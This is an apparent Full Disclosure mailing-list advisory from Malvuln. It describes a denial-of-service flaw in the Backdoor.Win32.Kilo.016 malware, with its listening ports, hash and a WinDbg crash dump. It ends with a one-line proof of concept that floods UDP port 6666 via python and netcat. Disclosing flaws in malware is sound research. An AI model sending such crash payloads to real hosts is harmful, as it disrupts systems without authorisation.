Message-ID: <CAAHK0WQY4ZBGRZhFykFra-ByNG8BwC23fdVrBpMby6c8Uc86hw@mail.gmail.com>
Date: Thu, 14 Apr 2022 21:55:51 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Kilo.016 / Denial of Service (UDP Datagram)

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/9ede6951ea527f96a785c5e32b5079e6.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Kilo.016
Vulnerability: Denial of Service (UDP Datagram)
Description: The malware listens on TCP ports 6712, 6713, 6714, 6715, 7722,
15206, 15207, 16712 and UDP 6666. Attackers who can reach an infected host
can send a large payload to UDP port 6666 causing a disruption in service.
Family: Kilo
Type: PE32
MD5: 9ede6951ea527f96a785c5e32b5079e6
Vuln ID: MVID-2022-0546
Disclosure: 04/14/2022

Memory Dump:
(1ab8.1368): Access violation - code c0000005 (first/second chance not
available)
eax=000a1078 ebx=000a1048 ecx=0047b094 edx=000a1078 esi=000a11a0
edi=00000000
eip=776e9fab esp=000a0fc8 ebp=000a100c iopl=0         nv up ei pl nz ac po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010212
ntdll!RtlAcquireSRWLockShared+0xb:
776e9fab 56              push    esi

0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************


FAULTING_IP:
KERNELBASE!RaiseException+62
74a108f2 8b4c2454        mov     ecx,dword ptr [esp+54h]

EXCEPTION_RECORD:  0019f788 -- (.exr 0x19f788)
ExceptionAddress: 74a108f2 (KERNELBASE!RaiseException+0x00000062)
   ExceptionCode: 0eedfade
  ExceptionFlags: 00000003
NumberParameters: 7
   Parameter[0]: 00413c5f
   Parameter[1]: 06e39bb8
   Parameter[2]: ffffffff
   Parameter[3]: 004104f0
   Parameter[4]: 042e2d94
   Parameter[5]: 0019fd0c
   Parameter[6]: 0019fcc8

PROCESS_NAME:  Backdoor.Win32.Kilo.016.9ede6951ea527f96a785c5e32b5079e6

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  000a0fc4

WRITE_ADDRESS:  000a0fc4

FOLLOWUP_IP:
KERNELBASE!RaiseException+0
74a10890 8bff            mov     edi,edi

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

CONTEXT:  0019f7d8 -- (.cxr 0x19f7d8)
eax=0019fc38 ebx=ffffffff ecx=00000007 edx=00000000 esi=004104f0
edi=042e2d94
eip=74a108f2 esp=0019fc38 ebp=0019fc94 iopl=0         nv up ei pl nz ac po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000212
KERNELBASE!RaiseException+0x62:
74a108f2 8b4c2454        mov     ecx,dword ptr [esp+54h]
ss:002b:0019fc8c=955c75b1
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute
[Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 0046ea76 to 74a108f2

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:
 APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS:
 INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID:  INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff

STACK_TEXT:
0019fc38 74a108f2 kernelbase!RaiseException+0x62
0019fd14 0046ea76 backdoor_win32_kilo_016+0x6ea76
0019fd6c 0046e995 backdoor_win32_kilo_016+0x6e995
0019fd88 7720e0bb user32!_InternalCallWinProc+0x2b
0019fdb4 77218849 user32!InternalCallWinProc+0x20
0019fdd8 7721b145 user32!UserCallWinProcCheckWow+0x1be
0019fea8 772090dc user32!DispatchMessageWorker+0x4ac
0019ff14 772038c0 user32!DispatchMessageA+0x10
0019ff1c 0044fc8c backdoor_win32_kilo_016+0x4fc8c
0019ff70 004d87b2 backdoor_win32_kilo_016+0xd87b2
0019ff88 77408654 kernel32!BaseThreadInitThunk+0x24
0019ff9c 77704a77 ntdll!__RtlUserThreadStart+0x2f
0019ffe4 77704a47 ntdll!_RtlUserThreadStart+0x1b


SYMBOL_NAME:  kernelbase!RaiseException+0

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: KERNELBASE

IMAGE_NAME:  KERNELBASE.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  0

STACK_COMMAND:  .cxr 000000000019F7D8 ; kb ; dds 19fc38 ; kb

FAILURE_BUCKET_ID:
 INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_KERNELBASE.dll!RaiseException

BUCKET_ID:
 APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_kernelbase!RaiseException+0


Exploit/PoC:
python -c "print('A'*30000)" |  nc64.exe x.x.x.x 6666 -c -u


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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
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of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
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handling or the downloading of ANY Malware mentioned on this website or
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